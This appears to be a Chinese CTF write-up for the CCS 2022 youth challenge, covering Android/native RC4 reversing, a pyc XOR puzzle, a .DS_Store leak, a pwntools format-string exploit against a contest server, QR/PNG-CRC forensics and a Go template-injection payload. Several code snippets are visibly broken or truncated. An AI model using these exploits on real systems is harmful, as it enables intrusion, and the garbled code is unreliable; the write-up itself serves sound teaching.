fllaa
使用showjava或jd-gui,Android-killer等工具看静态反编译代码。
查看MainActivity,可以看到,是个检测之后的比对函数,其中考虑是一个加密,类型为decrypt(m,key)
经测试,所有的字符串是经过另一种加密方式得到的,如:错误密码信息的提示
Java 层存在反射调用,frida 写 hook 脚本,打印调用时的函数栈还原完 Java 层的逻辑之后可以发现是先对输入做 base64,然后传入 native 函数 check(),同时也传了一个静态字符串,那么接下来就要去 native 层分析check 函数并没有去符号。
在IDA中对so库进行分析,导出表中找到 check()函数。
可以很明显的看到是采用了RC4的加密方式
其中的rc4_init()函数是导入一个密钥,这个密钥来自调用check()函数时的参数k(通过showjava分析的内容可以看到),该参数时一串字符串解密后得到的,其解密函数为:
该参数 key可以用 frida hook native 函数打印参数来得到 key,代码如下:
#include
#include
#ifndef RC4_H
#define RC4_H
using namespace std;
unsigned char Bucl[10000000]={40,144,16,183,209,110,29,154,240,109,
216,134,60,193,181,79,77,150,154,133,217,236,66,90,203,22,66,154,77,5
0,81,214,198,113,109,182,243,4,72,58,194,38,45,228,77,39,188,60};
string kEy="Hikari#a0344y3y#19301211";
void RC4::OPer(const char *kEy,long long Length) {
if (!Length||kEy==nullptr )
return;
for (int i=0;i<=255;i++) Crp[i]=i;
int j=0;
for (int i=0;i<=255;i++) {
j=(kEy[i%Length]+j+Crp[i])%256;
swap(Crp[i],Crp[j]);
}
}
void RC4::unCode(unsigned char *DB,long long Length) {
for (int i=0;i
for (unsigned long k = 0; k < Length; ++k) {
II=(II+1)%256;
IJ=(IJ+Crp[II])%256;
swap(Crp[II],Crp[IJ]);
int r=(Crp[II]+Crp[IJ])%256;
DB[k]^=Crp[r];
DB[k]^=115;
}
}
class RC4 {
public:
RC4();
void OPer(const unsigned char *kEy, unsigned long Length);
void unCode(unsigned char *DB, unsigned long Length);
private:
int Crp[256] = {0};
int II,int IJ;
};
RC4::RC4() {
II = 0;
IJ = 0;
}
void GotFlag(){
RC4 *CaTh=new RC4();
CaTh->OPer((unsigned char*)kEy,strLength(kEy));
CaTh->unCode((unsigned char*)Bucl,sizeof(Bucl));
cout<
}
signed main()
{
GotFlag();
return 0;
}
得到 base64 字符串
ZmxhZ3stZmxsQF9zMF9uQDF2ZSMjeW91X2ZpbmRfbWUhISF9解密得到 flag
或者对于这个程序,使用jeb等工具进行attach动态调试,来获得k。
总结:so库逆向,魔改的rc4,加密的主体加了两个异或,一个0xc6,还有0x73,混淆用了个魔改的base64
flag:flag{-fll@_s0_n@1ve##you_find_me!!!}
easy_re
一个简单的pyc逆向,主要是考察对base64,异或的简单解密:
使用下列在线反编译工具进行逆向,当然也可以使用uncompyle6,但本人python版本较高,无法实现
https://www.toolnb.com/tools/pyc.html
https://tool.lu/pyc/
反编译所得结果如下:
# uncompyle6 version 3.5.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.5 (default, Nov 16 2020, 22:23:17)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: easy_re.py
# Compiled at: 2022-08-05 11:54:35
import base64
def encode(message):
s = ''
for i in message:
x = ord(i) ^ 50
x = x + 5
s += chr(x)
return base64.b64encode(s)
correct = 'WWNYWk5cWEZQckdQVlQ='
flag = ''
print 'Plz input flag:'
flag = raw_input()
if encode(flag) == correct:
print 'you got it~'
else:
print 'wrong!'
首先进行base64解密:
得到一个字符串数组{89,99,88,90,78,92,88,70,80,114,71,80,86,84}
然后写脚本进行解密:
import base64
s=[89,99,88,90,78,92,88,70,80,114,71,80,86,84]
#s=base64_decode("WWNYWk5cWEZQckdQVlQ=")
c=""
for i in range(len(s)):
s[i]-=5
s[i]^=50
c+=chr(s[i])
print(s,c)
DSDS
打开网站,提示DS_Store(DS_Store 是 Macos 系统文件,在 url 后面添加/.Ds_store 可下载),盲猜是DS_Store泄露
查找相关资料如下:
https://blog.csdn.net/qq_51524329/article/details/121575791
使用开源利用脚本:
https://github.com/lijiejie/ds_store_exp
命令行执行如下:
python ds_store_exp.py http://****.lxctf.net/.DS_Store
得到flag的下载地址,下载即可获得flag
Quine
nc连接,发现会回显源代码:
进行简单交互测试,发现是一个格式化字符串漏洞。
根据注释,此时就猜测把 c 改成 16 就可以,同时根据地址开头可以大致确定这是一个 32 位程序的栈地址,猜测就是 c 的地址,此时只需要确定栈上偏移,直接手动测试
可以发现偏移为 6,那么直接方便,使用 pwntools 构建 fmt 的脚本,修改栈上偏移为 6 的地址为 16 即可:
exp:
from pwn import *
context.log_level = "DEBUG"
p = remote("47.94.209.79",10000)
p.recvuntil("}")
p.recvuntil("0x")
addr = int(p.recv(8),16)
print(hex(addr))
payload = fmtstr_payload(6,{addr:16})
p.sendline(payload)
p.interactive()
对fmtstr_payload函数的使用可以参考:
https://blog.csdn.net/weixin_45556441/article/details/115413843
1+1=all
对于flag1部分,看到一大串0和1,猜测是01转二维码图片,很常规的题目,可以参考如下文章:
https://blog.csdn.net/qq_51604088/article/details/115274707
相关脚本可以参考:
#py3.x
import zlib,binascii,base64,struct,os
from PIL import Image
id=''#01 data #flag1.txt 里面的 01 放这里
result = binascii.unhexlify(zlib.decompress(id.decode('hex')))
MAX = 400
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(result[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i+=1
pic.show()
pic.save("flag.png")
得到一半图片:
对flag2,使用ziprello进行爆破,得到压缩密码,pp8
解压出来的png是一块黑色照片,使用tweakpng进行分析,提示crc32校验错误,可以猜测,图片的分辨率出现了问题,十六进制修改分辨率即可。
可以爆破宽高,参考脚本如下:
#!use py2.x
import os
import binascii
import struct
crcbp = open("C:\Users\Administrator\Desktop\1.png","rb").read() #!!!!!!文件名
for i in range(1024):
for j in range(1024):
data = crcbp[12:16] + struct.pack('>i',i) + struct.pack('>i',j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == : #!!!!!当前的CRC值
print i,j
print "hex",hex(i),hex(j) #输出宽度和高度
拼凑后得到此二维码,扫码得到flag
Go Go Go也有Web
首先,看到这个题目之后我就想到,这可能是一个go语言,然后打开这个UrL之后,发现只输出了几个字符,然后也没有其他东西,用扫描器扫描的其他的文件,发现也是没有东西的。下载附件,得到一个Go服务。主要查看SSTI.
func SSTI(whttp.ResponseWriter, r *http.Request) {
name := &Admin{"Hacker", "FLAG_NOT_HERE"}
r.ParseForm()
arg := strings.Join(r.PostForm["name"], "")
if arg == "" {
arg = "Guest"
}
htmlcode := fmt.Sprintf(`Hello, ` + arg)
html, err := template.New("index").Parse(htmlcode)
html = template.Must(html, err)
html.Execute(w, name)
}
接着,Burp截包,POST数据到页面(截包前给数据类型改成multipart/form-data)
name[]="{{ .Evil index }}"
传入数组型的name
得到flag flag{2967183f5dda0833168fa458f6c6193a}
中间一段小插曲:
Post之后404了,是容器过期了。
总结:
在function_main,它绑定了一个Http server,然后端口是8000,在这呢,它有一个ssti的服务是给到了HDP,可能会存在一个SSTM模板注入,就是把输入的内容变成我们输出的东西,然后在这个SSTM模板里面呢,我们直接eval()函数读文件就可以拿到手,然后payload也很简单,就两个花括号,然后一个eval().
其实这道题最主要考察的就是代码阅读能力,然后还有SSTI这个逻辑,就是SSTM注入.通过SSTi输出我想要的东西,给网页一个内容。
原文始发于微信公众号(中学生CTF):WP| CCS 2022 极客少年挑战赛 CTF WriteUP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论